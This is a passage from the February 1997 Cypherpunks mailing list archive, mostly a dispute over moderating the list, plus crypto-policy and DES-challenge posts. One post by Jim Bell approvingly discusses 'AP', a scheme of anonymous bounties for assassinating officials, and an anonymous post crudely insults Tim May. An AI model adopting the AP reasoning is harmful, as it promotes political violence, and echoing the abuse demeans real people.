though. Oksas, have you ever tried beer? :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From zachb at netcom.com Tue Feb 4 20:28:44 1997 From: zachb at netcom.com (Z.B.) Date: Tue, 4 Feb 1997 20:28:44 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc * Reputation Capital In-Reply-To: <199702050025.BAA08118@basement.replay.com> Message-ID: On Wed, 5 Feb 1997, Name Withheld by Request wrote: > [snip] > John Gilmore said: > >Perhaps at that point I should have shut down the list, as Lucky is > >now suggesting. "Asking the list what to do" was clearly not a useful > >option. Sandy cared enough about the community to make some concrete > > Not a useful option? Why not? If there aren't any ideas left in this > community, I'm with Lucky. Pull the plug. > [snip] I've been meaning to ask this for a while...but why *don't* we just pull the plug, at least for just a few days? Unsubscribe everyone from all the lists, wait a bit, and then send a message to all of the subscribers with full info on each of the lists (cp, cp-unedited,cp-flames) and see what happens when they resubscribe. I bet that most of the people who don't post and don't care one way or the other wouldn't bother to resubscribe, so we'd have a higher ratio of people who mind if the list is moderated vs. those who'd be happy either way. Zach Babayco zachb at netcom.com <-------finger for PGP public key If you need to know how to set up a mail filter or defend against emailbombs, send me a message with the words "get helpfile" (without the " marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!* I have several useful FAQs and documents available. From dthorn at gte.net Tue Feb 4 20:52:38 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 20:52:38 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc * Reputation Capital In-Reply-To: Message-ID: <32F811C3.60D5@gte.net> Z.B. wrote: > On Wed, 5 Feb 1997, Name Withheld by Request wrote: > > John Gilmore said: > > >Perhaps at that point I should have shut down the list, as Lucky is > > >now suggesting. "Asking the list what to do" was clearly not a useful > > >option. Sandy cared enough about the community to make some concrete > > Not a useful option? Why not? If there aren't any ideas left in this > > community, I'm with Lucky. Pull the plug. On the below: Remember in "I, Mudd" where the Captain said to Rodney the Robot: "I'm lying - everything I say is a lie". And the robot collapses because it is not programmed to handle such blatant acts of sabotage of reality. Humans OTOH, and particular those who do odd jobs for the CIA (you know, the ones who make those little "excursions" to Nepal and Burma), have no problem with this, since their reality doesn't even intersect with that of typical mailing list readers. What is Tim May really mad about? What he says he's mad about? I don't think so. The scam ran past him and he fell off of the truck. Tsk tsk. > I've been meaning to ask this for a while...but why *don't* we just pull > the plug, at least for just a few days? > Unsubscribe everyone from all the lists, wait a bit, and then send a > message to all of the subscribers with full info on each of the lists > (cp, cp-unedited,cp-flames) and see what happens when they resubscribe. > I bet that most of the people who don't post and don't care one way or > the other wouldn't bother to resubscribe, so we'd have a higher ratio of > people who mind if the list is moderated vs. those who'd be happy either From mclow at owl.csusm.edu Tue Feb 4 20:58:26 1997 From: mclow at owl.csusm.edu (Marshall Clow) Date: Tue, 4 Feb 1997 20:58:26 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! In-Reply-To: <199702050027.QAA08784@toad.com> Message-ID: At 4:05 PM -0800 2/4/97, aaron at herringn.com wrote: > >If I might make a suggestion: > >Some people want moderation. That's fine, I've never been very big on >letting other people choose what I read, but some people want it. > >For those who want it, let someone moderate the list for as long as >they care to do it. Approved messages get a "X-sandy-approved" >header. The responsibility for setting up a filter to toss everything >that doesn't have the header is the responsibility of the end user. >Toad will need to filter incoming posts to make sure they don't come >"pre-approved", but that's the only hole I can think of. > >Everyone gets all of the Cypherpunks list. Those who want moderation >filter the unapproved posts, those who want all of it get all of it. > >Hopefully, this will make (almost) everyone happy. > I like this idea. However, I would suggest an additional refinement: Implement a cypherpunks-moderated list which is all the 'approved' messages. This way, people who wish to have the benefits of a filtered list are happy, people who wish to have posts rated for them (but be able to check on the "rater") are happy, and people who wish to see every message are happy. (I know that John has concerns about toad's mail capacity, and this may be too big a load) ObCrypto policy: Was anyone else besides me amazed by the guy from Deloitte-Touche at the Internet Privacy Coalition luncheon last week? I mean, he all but advocated violent overthrow of the government. D-T is the most "establishment" of the big-6 accounting firms, last time that I looked. It's a weird world when we have a representative of a company that makes a living advising people on how to obey government regulations advocating civil disobedience. -- Marshall Marshall Clow Aladdin Systems Warning: Objects in calendar are closer than they appear. From jimbell at pacifier.com Tue Feb 4 20:58:31 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 4 Feb 1997 20:58:31 -0800 (PST) Subject: More on Cellular Encryption Docs Message-ID: <199702050458.UAA05351@mail.pacifier.com> At 06:31 PM 2/1/97 -0800, Bill Stewart wrote: >At 04:10 PM 2/1/97 -0500, John Young wrote: >>Here's more on the controlled documents for cellular encryption >>from TIA/EIA we described in a 26 January post to cpunks: >... >> TR45.0.A >> Common Cryptographic Algorithms, Revision B >> June 21, 1995, 72 pp. (With ITAR notice on every page) > >Of course, ITAR as recently modified says it's ok to send this >stuff overseas to foreigners, as long as it's on paper. >There may be separate restrictions on sending it, or on copying, >but they're based on copyright or contractual non-disclosure. Given that high-density inkjet printers can do 600x600 dpi resolution, it should be possible to achieve the equivalent of 100x100 bpi of easily-recoverable data on ordinary paper. That's about 800 kilobits, or 100 kilobytes. What does ITAR say about this? Jim Bell jimbell at pacifier.com From dthorn at gte.net Tue Feb 4 20:59:01 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 20:59:01 -0800 (PST) Subject: Moderation [Tim,Sandy] In-Reply-To: Message-ID: <32F81349.6156@gte.net> Dr.Dimitri Vulis KOTM wrote: > Dale Thorn writes: > > The drunk can be excluded, but when someone wants to use the drunk as > > an example to escalate the exclusion to other persons who are not in > > fact drunk, watch out! > If I get really really drunk, which happens very seldom, then I'm > too drunk to post. I don't mind an occasional beer, though. > Oksas, have you ever tried beer? :-) I had my first beer(s) in three years at one of those industrial parties last night. It made the craps table action seem a bit merrier, and the girls were friendlier too. From lwjohnson at grill.sk.ca Tue Feb 4 21:00:14 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Tue, 4 Feb 1997 21:00:14 -0800 (PST) Subject: John Gilmore / What a _Lamer_! In-Reply-To: <199702041456.GAA28779@toad.com> Message-ID: <32F82B66.12C9@grill.sk.ca> John Gilmore wrote: > Tim, the Cypherpunks have chosen to follow Sandy's lead for this > month. I havent chosen nothing like that. I read all the stuff from all the messages from before modernation and since then and nobody got to choose nothing. You told them what they were going to gwet and thats what they got. Anybody that made it plain that they werent happy got thrown in the trashcan and labled as being a flamer. > I'll admit I made it easy for them, but the results are > conclusive. There are 1311 addresses in the cypherpunks list today; > 42 in the unedited list; and 19 in the flames list. 1311 addresses that you stole for your censored list. Nobvody subscribved to cypherpunks-censored. You put them there cause its you decided it was your list an dyou could put people where you wanted even if they didnt like it. My uncle calls it the cyperpunks-Auschwitz list. Thats what subdir he keeps it in in his Dorks dir. > The cypherpunks list was unusable > for this kind of discussion, only a month ago. It's usable now. I could use it before and Im just a kid but Im not a lamer. Maybe you should call the list you stole cypherpunks-lamers. > I'm definitely bugged by the community's attitude toward my > "censorship". I know you are or else you wouldna thrown cypherpunks honest and truthful feelings in the flames-crapper. > Rather than being glad that someone, anyone, was doing > something about the major problem on the list, 99% of the reaction was > to create even more ill-considered, emotional flamage. I read a lot of flamessages which people put a lot of their thouhgts into bu t they were emotional cause people get like that when someone doo-doos on them. > *I* didn't > make the signal/noise get worse at that point -- *you-all* did. You dont make any signal/noise at all since you dont even send messages to the list. (except when you want tell bs about how people "chose" Sandy to be their dictator when they didnt) > "Asking the list what to do" was clearly not a useful > option. Not necessary either if your a dictator. > As Dale suggests, I > wasn't about to waste my time reading the whole list in real time and > passing judgement on the postings. Sandy was, for a month. Howcum reading the list is a wast eof your time but making decisions for ecveryone on the cypherpunks isnt? > To some it seemed that, now that they were in actual possession of > it, freedom was a more serious thing than they had expected to > find it. > > Most of the people on the list haven't bothered to face that freedom. 1311 ofg them? Howcum you just stole all of the list people for your censored list? I think that was real stupid unless you just didnt care if people would know that your were stealing the list for yourself. It was really rotten to call pewople flamers just cause they complained. > Be responsible for setting your society's privacy policy -- without > knowing whether you are right. Thats what those GAK guys are for and all those secret govbernment guys that want there not to be a cypherpunks anymore. > Shall I post you an Emancipation Proclamation -- as if you needed one? No you already done too much. > The experiment will be over in a few weeks. Who's going to take over > deciding how to run the list, and running it? I will. Im just a kid but I cant do any worse than already. > the immortal words of Lazarus Long, "PIPE DOWN!". Im a kid so I get told to shut up all the time but I dont. > PS: Can we talk about crypto too? What do you mean _we_ white man? (thats a joke) You havent talked about nothing on the list except how your not a bad guy for pushing people areound into the lists where you want them whether they like it or not. You stole my uncles subsribing to the cypherpunks list and made him a censored person. He had to break out to go to the uncensored list. I think your a lamer. Human Gus-Peter From jeremey at veriweb.com Tue Feb 4 21:08:52 1997 From: jeremey at veriweb.com (Jeremey Barrett) Date: Tue, 4 Feb 1997 21:08:52 -0800 (PST) Subject: "alt.cypherpunks" people? In-Reply-To: <199702050029.QAA08873@toad.com> Message-ID: <199702050508.VAA20092@descartes.veriweb.com> -----BEGIN PGP SIGNED MESSAGE----- > John Gilmore urges action, or piping down... well lets start with > discussion of whether one possible action is appropriate, and useful > (piping down is not an option:-): > > What do people think of starting an alt.cypherpunks USENET newsgroup? As an additional forum, it's not a bad idea, with the exception that it may draw some people away from the mailing list, and reduce the already- slim signal on the list. USENET is less accessible than email, and given the goals of cypherpunks, the more accessible the medium the better. I have crap news access 99% of the time, and I imagine a significant portion of the list is in a similar situation. Also, the tools for news reading are not well-suited for filtering, either manual or automatic. > 3. USENET distribution is likely less efficient of overall bandwidth > > 4. News propogation times are often poor (Exeter univ. receives news > about a week late) This is a real killer in my view. I have > another news server I can access at the moment, but not everyone > may have access to a reasonable news server. > > 5. News access is more complex for some people. Some alt newsgroups > are not carried by some servers. Perhaps news-to-mail and > mail-to-news gateway would solve these problems. These 3 are fatal IMO. The distribution of cypherpunks would become much more haphazard and might fail altogether in places. Some people will be reading long threads days after they are dead. > Coderpunks is a reasonable list, I'm not sure that it is moderated as > such, but if you breach etiquette (discussion of politics, even when > perpetrated by respected cryptographers, or by people discussing the > implications of breaking DES, rather than the strict coding questions) > they get Futplex-grams, which I find slightly annoying. > > Cryptography at c2.net is again reasonable, and gained back some of the > original people who quit cypherpunks over the years due to noise. > Cryptography is moderated. (Or is moderated when Perry thinks it > would benefit from moderation, so that may change). Agreed. These lists _are_ the alternative to the "open" cypherpunks list. If a moderated cypherpunks is to be started, great, but it should be another list, not _the_ cypherpunks list. Moderation, even with the best intentions, is subjective, and therefore has no place on a list such as cypherpunks. If this is really an experiment, at the end of the month the list should become unmoderated, and a moderated list created. Then we can see how many people switch in that direction. I imagine it would be a similar number to those that switched to the unedited list. > What's left is attempting to stop government restrictions and backdoors, > and deploying the many complex peices of software for which there exists > uses and demands. There is still much to be done. The cypherpunks list has plenty of reason for being. As is, it 1) is still used as a forum for good discussion, despite the noise, and 2) is an invaluable resource for information retrieval and dispersal. The list should not be killed or moved IMO, and moderation should occur on other lists, not the main one. - -- =-----------------------------------------------------------------------= Jeremey Barrett VeriWeb Internet Corp. Senior Software Engineer http://www.veriweb.com/ PGP Key fingerprint = 3B 42 1E D4 4B 17 0D 80 DC 59 6F 59 04 C3 83 64 =-----------------------------------------------------------------------= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBMvgVuy/fy+vkqMxNAQGFcgQAiZ0mKRTRkOYCYKlyAQrbUA0iHo1j1IiI DqJzLEXWX1AwYbRg4S4CRowey9+uMMbSo6nfONc5y7Wz7O3MvmLbGdmOCKaLNR56 7/TXY4Rj7yk8odKN3s4aYZ61vTMqMFdqzo42q5dNTQyL5haM1ugwgjg1bS5u3ski venMQtFa8t4= =aIej -----END PGP SIGNATURE----- From jimbell at pacifier.com Tue Feb 4 21:10:50 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 4 Feb 1997 21:10:50 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702050510.VAA06865@mail.pacifier.com> At 08:15 PM 1/28/97 -0800, Steve Schear wrote: >>The poor can not hope to match the tyrants bid as they only have 10% of the >>wealth, the household knows that thier participation in an attempt on the >>tyrant will get them killed. Even if the attempt was successful. >>The people from the outside who would benefit from the bounty benefit more >>by taking the tyrants offer and then trying again, i.e. tiger teams. > >I think a hole in your thinking is to assume that the assasins have no >motive other than financial gain. I would submit that there are those that >have the skills, training and a political agenda coherent with the >wagerers, lacking only the financial incentive to make the risks >acceptable. These wetworkers won't consider accepting the bribe of the >rich/powerful In practice, we can't hold out much hope that donations to an AP system from "rich and powerful" people can be identified as such. After all, with the appropriate software I could just as easily make 100, $10 donations as a single $1000 donation. Assuming anonymity held, nobody but the donor knows from where the money came. However, fortunately I don't think it would make any difference in the overall effects. While AP would eliminate the taxation which is commonly thought of as the main way a "rich person" loses assets, in practice it would also shut down the well-hidden systems that allow some people to get rich (or, merely live off somebody else) "unfairly." Government agents come to mind, of course. Jim Bell jimbell at pacifier.com From EALLENSMITH at ocelot.Rutgers.EDU Tue Feb 4 21:15:03 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Tue, 4 Feb 1997 21:15:03 -0800 (PST) Subject: IN%"pdh@best.com",IN%"ichudov@algebra.com",IN%"gnu@toad.com",IN%"ay@got.net Message-ID: <01IF1CGHDYVS9AN3K6@mbcl.rutgers.edu> Forwarded with permission: From: IN%"loki at infonex.com" "Lance Cottrell" 4-FEB-1997 15:34:25.09 >I would be happy to donate the resources to run Cypherpunks off our system. >We could set up the list provided we were given a list of subscribers. I >assume it would be unmoderated. > -Lance >> Hi. I don't know how much you've been keeping up with >>the discussion on cypherpunks, but there is a current proposal >>to distribute the list onto several different servers. I would >>be willing to pay for 100 subscribers to run on the cyberpass.net >>server, provided that somebody else (e.g., Igor Chudov) set up >>the system initially and was available for assistance later. Any >>problems on your end? >> [...] >> Thanks, >> -Allen From ichudov at algebra.com Tue Feb 4 21:30:57 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 4 Feb 1997 21:30:57 -0800 (PST) Subject: hoho Message-ID: <199702050526.XAA01842@manifold.algebra.com> haha From pdh at best.com Tue Feb 4 21:57:58 1997 From: pdh at best.com (Peter Hendrickson) Date: Tue, 4 Feb 1997 21:57:58 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: At 6:22 PM 2/4/1997, Declan McCullagh wrote: > What Vulis and the rest (whom I killfiled long ago) have done is polluted a > common resource, making it unusable for the rest. It's the tragedy of the > commons. When all can speak without limit in a public forum, the drunken > boor can shout everyone else down. I think this analogy is inappropriate for modern communications forums. Mailing lists have the wonderful property that the drunken boor cannot shout everyone else down. This is what is so great about the Net. It is trivial to filter the drunken boor. This cannot be done in a crowded auditorium. Another neat property is the fact that people can't interrupt each other and everybody can "talk" at once. Peter Hendrickson pdh at best.com From lwjohnson at grill.sk.ca Tue Feb 4 22:17:32 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Tue, 4 Feb 1997 22:17:32 -0800 (PST) Subject: A Vote of Silence for Human Gus-Peter Message-ID: <32F84126.7A80@grill.sk.ca> I want to be the new modernator so anyone who wants me to be it can not send any messages, ok? So any people who dont send messages are voting for me, ok? (If I am modernator I will give everyone free pizza and Schotch.) Ok. Now evceryone vote, ok? Human Gus-Peter From jer+ at andrew.cmu.edu Tue Feb 4 22:34:10 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 4 Feb 1997 22:34:10 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702040543.VAA15856@toad.com> Message-ID: <0my2YP200YUe01fKE0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- Just to add my $.02 to the me too pile: It should be noted that the subscription from netbb+internet. cypherpunks at andrew.cmu.edu is a mail<->news gateway for Carnegie Mellon University people. It represents maybe 10-50 cypherpunks readers. I used to read cypherpunks from there, but I see some kind soul has subscribed CMU to the unedited list, so I will read that instead. My killfile is just enough censorship for me. On the choke points note, mailing lists are better than usenet because legendary AOLers with there 5 free hours of fame and their ilk usually don't figure out how to pester mailing lists. Being on a mailing list usually requires a commitment, that is enough of a barrier for many of the usenet underirables. Waiting for the end of moderation, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMvgpEskz/YzIV3P5AQHzygL/Ur5YjSD8D8wNn5B74mdHASUqj1Gelwi+ GT3wIITGh1RMnFFEYQLWCyjW9NVJ6RIKJY6t5rLzRiy4gNe0jA8AMNI6E8NuaFV1 J8SDjY0oAo0ixBJHzv0MXui8f4ciS4tD =Lbs9 -----END PGP SIGNATURE----- From wcampbel at peganet.com Tue Feb 4 23:22:43 1997 From: wcampbel at peganet.com (Bill Campbell) Date: Tue, 4 Feb 1997 23:22:43 -0800 (PST) Subject: GAK/KR spin Message-ID: <199702050714.CAA15573@mercury.peganet.com> Steve Schear said: >Several months back there were discussions on the list regarding renaming >the government's key escrow/recovery proposals (KRAP comes to mind). I >think we need something that's catchy and simple (perhaps already familiar) >to understand for the semi-litterate citizen units. I propose we encourage >use of the terms "crippleware" or "crypto crippleware" when refering to the >products limited to their weak crypto and/or key escrow/recovery. Another point on all this that was made by Matt Blaze at the RSA conference (and that I have been making to all my friends) is that Crypto is basically a "solved" problem. The government's efforts to impose GAK is in effect transposing a "solved" problem into an "unsolved" problem - due to the inherent problems with any conceivable GAK "solution". I thought this was a very good case against GAK. =Bill= From das at sgi.com Tue Feb 4 23:25:47 1997 From: das at sgi.com (Anil Das) Date: Tue, 4 Feb 1997 23:25:47 -0800 (PST) Subject: "alt.cypherpunks" people? Message-ID: <199702050725.XAA18012@toad.com> Adam Back wrote: > > What do people think of starting an alt.cypherpunks USENET newsgroup? > I have only one objection. I will never post to an Usenet group under my real email address for fear of ending up in spammer databases. -- Anil Das From nobody at huge.cajones.com Tue Feb 4 23:25:51 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 4 Feb 1997 23:25:51 -0800 (PST) Subject: [ANNOUNCEMENT] Zero-knowledge interactive proofs Message-ID: <199702050725.XAA18020@toad.com> The main difference between Tim C. Maypole and shit is that shit smells better. o o /< >\ Tim C. Maypole \\\_______/// // \\ From azur at netcom.com Tue Feb 4 23:26:00 1997 From: azur at netcom.com (Steve Schear) Date: Tue, 4 Feb 1997 23:26:00 -0800 (PST) Subject: BA Crypto Machine Photos Message-ID: <199702050726.XAA18050@toad.com> >BTW, does anyone know the meaning of 'order wire mode' in the context of a >crypto broadcast? This mode is found in the KWR-37 online crypto >receiver. Please send all photo requests or responses via private E-mail. If it means the same thing as in the telecom industry, its an out-of-band (often analof) channel between two locations connected by wide-band (e.g., T1) facilities. Its primary purpose is to provide service personnel, at each end point, the ability to converse with one another while performing work on that link. --Steve From Bjorn.Asman.Info-Design at tripnet.se Tue Feb 4 23:26:01 1997 From: Bjorn.Asman.Info-Design at tripnet.se (Bjorn Asman) Date: Tue, 4 Feb 1997 23:26:01 -0800 (PST) Subject: bye.bye Message-ID: <199702050726.XAA18051@toad.com> I have to agree that Mr. Tim C May have a big point. Even if i didn't like all the things Mr. May wrote so could i read it, and that is the point i think Mr. Sandford missed. That is to have a list that is a "living" list. You have to have all the people giving their chanche to say what tehy like even if they dont are "mentaly healthy".I have one more thing to "say". Namely to say bye.bye. to this list. I have never posted to this list, i have only read it, because i like the freedom in it (free speech and so on), but if i have to change my subscription to unedit-cypherpunks just to "hear" the freedom of speech, i rather just say no and unsubscribe. bye.bye bjorn.asman at infodesign.se.org Roerstrandsgatan 7a 41703.Goeteborg Phone +46-(0)31-221056 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The subjects are cyborg, nature is coyote, and the geography is Elsewhere -Donna Haraway ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From dthorn at gte.net Tue Feb 4 23:26:15 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 23:26:15 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702050726.XAA18063@toad.com> Michael Froomkin - U.Miami School of Law wrote: > I'm afraid you have been a charter member of my killfile. Any comments > you may have made, I missed. Since they weren't about crypto anyway, but > about list moderation (a dull topic, IMHO), I can accept that. I never commented about crypto? Why, I even wrote a crypto program, which few on this list have done, BTW. I hope Sandy allows this on the big list, since Michael has penned a message about me, but said that he won't allow my reply to him. Nobody has to tell me (or probably anyone else either) that they have killfiled me (or anyone else). All they have to do is ignore me (or anyone else), and there's no further problem, plus, as a bonus, it makes for less noise on the list. What say, Michael? From osborne at gateway.grumman.com Tue Feb 4 23:26:22 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Tue, 4 Feb 1997 23:26:22 -0800 (PST) Subject: Silly Americans Message-ID: <199702050726.XAA18078@toad.com> ________________________ R i c k O s b o r n e ________________________ I was reading through the news when I stumbled across a thread that made a very good point. The original poster was talking about the UniSys GIF patent, and this was the reply: >Broaden your view. I can do anything I want with the GIF format without >asking _anyone_, and so can almost everyone in the world - except those >poor americans who chose to live under a "broken" patent law which >allows protecting _algorithms_. Totally silly. It brings up an interesting point, especially when applied to ITAR/EAR. On a philosophical note, why *do* we allow the government to regulate algorithms? (Implementations, I can understand, but *algorithms*?) _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ "A poem: a story in meter or rhyme." 'Ahh. `There once was a man from Nantucket ... `' "You've been talking to Garibaldi again, haven't you?" From joelm at eskimo.com Tue Feb 4 23:26:26 1997 From: joelm at eskimo.com (Joel McNamara) Date: Tue, 4 Feb 1997 23:26:26 -0800 (PST) Subject: Unofficial DES Challenge Clearinghouse Message-ID: <199702050726.XAA18086@toad.com> Until someone comes up with an automated method of keyspace allocation for the DES challenge (and maybe even after), I've decided to run the Unofficial DES Challenge Clearinghouse. This Web page will list keyspace that's already been searched (or is planned to be searched) with links to any brute force utilities. If you clear part of the keyspace, e-mail me the range, and I'll update the page. http://www.eskimo.com/~joelm/des.html Yes, I agree that a trusted, verifiable method of keyspace allocation and reporting needs to be put in place, but in the meantime, this rather simple page will hopefully reduce some duplication of effort. Joel From dthorn at gte.net Tue Feb 4 23:26:33 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 23:26:33 -0800 (PST) Subject: Govt & cyberspace Message-ID: <199702050726.XAA18108@toad.com> Declan McCullagh wrote: > Steve writes: > >Democracy is not without its significant shortcomings. If you doubt this > >read Tocquevelle. > Or Hayek. Democracy, after all, is majoritarian rule. Living under a > homogenous majority, with its whims and desires as law, would be more > oppressive than living under a benign dictatorship. I wish for once and for all someone would delineate this "democracy" thing from a true, distributed democracy, where every individual is required to participate equally, and no narrow interests can co-opt the vote the way they do in the kind of "democracy" Declan mentions. Wouldn't it be better when people mention a one-word political philosophy such as democracy, that they make the definition more precise by using two or three words instead? From dlv at bwalk.dm.com Tue Feb 4 23:26:38 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 4 Feb 1997 23:26:38 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702050726.XAA18111@toad.com> Dale Thorn writes: > > What Vulis and the rest (whom I killfiled long ago) have done is polluted a > > common resource, making it unusable for the rest. It's the tragedy of the > > commons. When all can speak without limit in a public forum, the drunken > > boor can shout everyone else down. > > The drunk can be excluded, but when someone wants to use the drunk as > an example to escalate the exclusion to other persons who are not in > fact drunk, watch out! If I get really really drunk, which happens very seldom, then I'm too drunk to post. I don't mind an occasional beer, though. Oksas, have you ever tried beer? :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From jimbell at pacifier.com Tue Feb 4 23:26:41 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 4 Feb 1997 23:26:41 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702050726.XAA18116@toad.com> At 11:14 PM 2/3/97 -0800, Timothy C. May wrote: >Several people have also commented on this, that their filters are still >working overtime. As it should be, really, as no moderator can make the >list match any given person's preferences. > >(Personally, I'm not even convinced filters are essential. It takes no >longer than 5 seconds to glance at a message and know whether to scrap it >or not. Granted, it takes a bit of time to download, especially at slower >modem speeds. But whether Sandy's censorship is producing any significant >"savings" depends on how many messages he's sorting into each >pile...clearly if 20% or less of the total posts are being filtered out, >then the savings are ignorable. That might not be quite true, or at least not complete. Another effect is that the new structure of the list may deter some of the flamers from posting, when they don't think their notes will be seen on the moderated list. In any case, however, I agree that spam and trash are easy to filter out. Jim Bell jimbell at pacifier.com From dthorn at gte.net Tue Feb 4 23:26:47 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 23:26:47 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702050726.XAA18124@toad.com> aaron at herringn.com wrote: > John Gilmore wrote: > >I'm glad we're talking about some of the real issues here. > >Tim, the Cypherpunks have chosen to follow Sandy's lead for this > >month. I'll admit I made it easy for them, but the results are > >conclusive. There are 1311 addresses in the cypherpunks list today; > >42 in the unedited list; and 19 in the flames list. Forty people > >cared enough to read every posting; the other thousand either wanted > >to try the experiment -- or didn't care enough to send an email > >message. Which, as we all know, is a very low threshold. Re: the below. Easily the best and most intelligent suggestion so far. Why couldn't Sandy and John with all their experience think of this? > If I might make a suggestion: > Some people want moderation. That's fine, I've never been very big on > letting other people choose what I read, but some people want it. > For those who want it, let someone moderate the list for as long as > they care to do it. Approved messages get a "X-sandy-approved" > header. The responsibility for setting up a filter to toss everything > that doesn't have the header is the responsibility of the end user. > Toad will need to filter incoming posts to make sure they don't come > "pre-approved", but that's the only hole I can think of. > Everyone gets all of the Cypherpunks list. Those who want moderation > filter the unapproved posts, those who want all of it get all of it. > Hopefully, this will make (almost) everyone happy. From dthorn at gte.net Tue Feb 4 23:27:09 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 23:27:09 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702050727.XAA18130@toad.com> Declan McCullagh wrote: > Adam writes: > >The problem with censorship or moderation is that it waters down the > >absolutism of free speech. Free speech in electronic media, with > >cypherpunks type I, and type II remailers, is the closest thing to > >truly free speech yet. > I agree and disagree. Moderation often *increases* the value of speech. The > Wall Street Journal, or Time Magazine, or the JAMA have strict policies > regarding what information they print; these policies increase the > publication's value. Moderation is not necessarily censorship. Would you > criticize the National Coalition Against Censorship for not including in > their newsletter (to which I subscribe) off-topic rants by Jesse Helms? JAMA is an example of moderated (good) speech? Not from where I sit. Look at the "interview" they published in the spring of 1992 with the Kennedy autopsy doctors. Then read about how they twisted the whole thing (and really didn't interview the doctors) a la 60 minutes. > What Vulis and the rest (whom I killfiled long ago) have done is polluted a > common resource, making it unusable for the rest. It's the tragedy of the > commons. When all can speak without limit in a public forum, the drunken > boor can shout everyone else down. The drunk can be excluded, but when someone wants to use the drunk as an example to escalate the exclusion to other persons who are not in fact drunk, watch out! From antimod at nym.alias.net Tue Feb 4 23:27:33 1997 From: antimod at nym.alias.net (Against Moderation) Date: Tue, 4 Feb 1997 23:27:33 -0800 (PST) Subject: Are cypher punks capable? Message-ID: <199702050727.XAA18145@toad.com> Secret Squirrel writes: > Against Moderation wrote: > > In general, unsubscribing and resubscribing to a mailing list is not > > completely trivial. > > Do you think that a cypher punk is not able to solve these problems? Read the rest of my message. I never said it wasn't pussible, it's just a question of how much effort I want to put in (which at this point, being roughly proportionaly to the quality of articles on cypherpunks, is close to zero). Whatever the difficulty or ease of fixing my mail filter, however, the fact that I haven't done it yet should not be counted as a vote in favor of moderation. This is what I am objecting to in John's article. John, if you are seriously interested in input from list members, then I have a proposal that I think is only fair. Why don't you create a new mailing list called cypherpunks-edited, which receives exactly the same filtered content as the current "cypherpunks at toad.com" list. Then encourage people to move from cypherpunks to either the -edited or -unedited lists to express their desires for the future of the list. In a another month, compare the subsription lists of the 3 lists. If there are considerably more subscribers to cypherpunks-edited than cypherpunks-unedited, then you can reasonably claim that a lot of list members want to see the list filtered. However, if, as I suspect, the number of people subscribing to the -edited and -unedited lists is statistically insignificant next to the people on the main cypherpunks list, then subscription counts are not a valid metric for judging the desires of list members. Of course, in the mean time I would like to see cypherpunks revert to an unmoderated list, but I'm not going to push my luck. I'd already be happe just to see the creation of a cypherpunks-edited list. From announce at lists.zdnet.com Tue Feb 4 23:27:35 1997 From: announce at lists.zdnet.com (announce at lists.zdnet.com) Date: Tue, 4 Feb 1997 23:27:35 -0800 (PST) Subject: Announcing ZDNet Exclusives! Message-ID: <199702050727.XAA18146@toad.com> --------------------------------------------------------- ZDNET ANNOUNCEMENT 2/3/97 --------------------------------------------------------- Greetings from ZDNet! We're pleased to announce a FREE gift to our loyal community of Web users: the launch of ZDNet Exclusives, the Web's first FREE collection of innovative software utilities, developed for our members by ZDNet and its renowned Software Library team! ZDNet Exclusives require no registration fees; they are absolutely FREE to all the members of the ZDNet community. Over 50 programs are available for download right now at: http://www.hotfiles.com/exclusiv.html The new ZDNet Exclusives collection features many invaluable utilities to make computing easier as well as some entertaining programs to make it more fun; including: *CookieMaster* Enables users to identify, view and opt to delete the Web cookies placed on their hard drives by the Web sites they've visited. *Gates Does Windows 95* An all-time favorite screen saver that depicts Bill Gates washing windows. *Shoebox PIM* An easy way to organize and store all of that personal information you'd be likely to save in a shoebox. * Plus, many more!* Log on to ZDNet and start downloading your FREE ZDNet Exclusives today! Let us know what you think. We have more ZDNet Exclusives under development and would appreciate 